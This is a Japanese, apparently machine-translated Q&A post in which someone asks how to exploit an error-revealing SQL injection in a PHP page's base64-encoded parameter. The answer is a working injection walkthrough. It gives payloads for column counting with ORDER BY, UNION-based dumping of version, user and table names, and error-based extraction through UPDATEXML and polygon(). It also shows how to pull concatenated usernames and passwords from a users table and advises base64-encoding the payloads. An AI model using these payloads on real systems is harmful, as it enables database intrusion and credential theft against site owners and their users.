私のlocalhostにはPHPこのようなリンクがあります
_abc.com/index.php?q=XYZ
_
ここで、XYZ
は、注入可能であることを確認したbase64encodedパラメータです。 _abc.com/index.php?q=XYZ'
_を試してみると、
SQL構文にエラーがあります。 MySQLサーバーのバージョンに対応するマニュアルを確認してください。
おそらくクエリは
_`select * from TableName where q={QUERYPRAM`} or die(mysql_error());
_
出力が実際にdie()
関数にあるため、カスタムクエリをここに記述したり、情報を取得するにはどうすればよいですか?
私は通常、この関数にSQLMapを使用しますが、動作が非常に遅く、リクエストをすぐに閉じます。
パラメータが整数または文字列(おそらく文字列)として解析されているかどうかを把握する必要があります。クエリのバランスが取れて成功した場合、die()は行われません。試してください.
1' order by 1-- -
または..
1 order by 1-- -
最初のコードがエラーを返した場合、それはパラメーターが整数として解析されているため、注入を実行するために引用符( ')を必要としないことを意味します。
ここで、ここにデータをダンプする多くの異なる方法があります。しかし、私は次の2つを好みます。
最初:
インジェクションポイントの前に、クエリに含まれる列の数を確認する必要があります。ここでorder by句を試すことができます。最も大きい番号から始めます。例えば:
1' order by 1000-- -
エラーが発生します。
ERROR 1054 (42S22): Unknown column '1000' in 'order clause'
次に、カウントを減らします。クエリが成功すると、正確な列数がわかります。 5つの列があるとしましょう。
1' order by 5-- -
したがって、これはエラーをスローしません。
5列のUNIONクエリを追加し、実際のクエリを否定(および0)するだけです。
1' and 0 UNION SELECT 1,2,3,4,5-- -
すべてが正常に完了すると、ページに脆弱な列が表示されます。ページに表示される脆弱な列が「3」であるとしましょう。この列のデータをダンプできます。
1' and 0 UNION SELECT 1,2,(SELECT version()),4,5-- -
または..
1' and 0 UNION SELECT 1,2,(SELECT user()),4,5-- -
MYSQLバージョンが5より大きい場合、これを実行してテーブル名をダンプできます。
1' and 0 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database()),4,5-- -
等々 ..
2番目:
エラー自体にデータをダンプすることもできます。これを行うには多くの方法がありますが、私はMYSQL XML関数を好みます。
1' and UPDATEXML(NULL,concat(0x3a,version()),NULL)-- -
これはMYSQLバージョンでエラーをスローします。
ERROR 1105 (HY000): XPATH syntax error: ':5.5.47-0ubuntu0.14.04.1'
次に、サブクエリを使用してデータを取得できます。
1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 0,1) ),NULL)-- -
エラーの最初のテーブル名が表示されます。
ERROR 1105 (HY000): XPATH syntax error: ':FIRST_TABLE_NAME'
編集:
N番目のtable_nameを取得するには、LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1などのように、LIMIT句にOFFSETを指定します。
1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 1,1) ),NULL)-- -
これにより、エラーの2番目のテーブル名が表示されます。
ERROR 1105 (HY000): XPATH syntax error: ':SECOND_TABLE_NAME'
N番目のtable_nameの場合:
1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit N,1) ),NULL)-- -
編集2:
データ列を1つずつダンプする必要はありません。次のように複数の列を連結できます。
(SELECT concat(id, ':', username, ':', password) from users LIMIT 0,1)
Q:「1回のヒットですべてのテーブル名をダンプまたは取得できますか?」
MYSQLエラーには文字制限があります。この制限は機能ごとに異なります。これまでのところ、私が見た最大の文字数はpolygon()関数を使用することです。以下は、MySQLバージョン5.6のクエリ例です。
1' and polygon((select*from(select*from(select concat((select group_concat(table_name) from information_schema.tables where table_schema=database())) as `` )``)``))-- -
出力:
Illegal non geometric '(select `` from (select '
FIRST_TABLE,SECOND_TABLE,THIRD_TABLE,FOURTH_TABLE,......
' value found during parsing
UNIONベースのSQLインジェクションではより多くのデータをダンプできますが、エラーベースでは、MYSQLエラーの文字制限を超えてデータをダンプすることはできません。
ペイロードは必ずエンコード(BASE64)してください。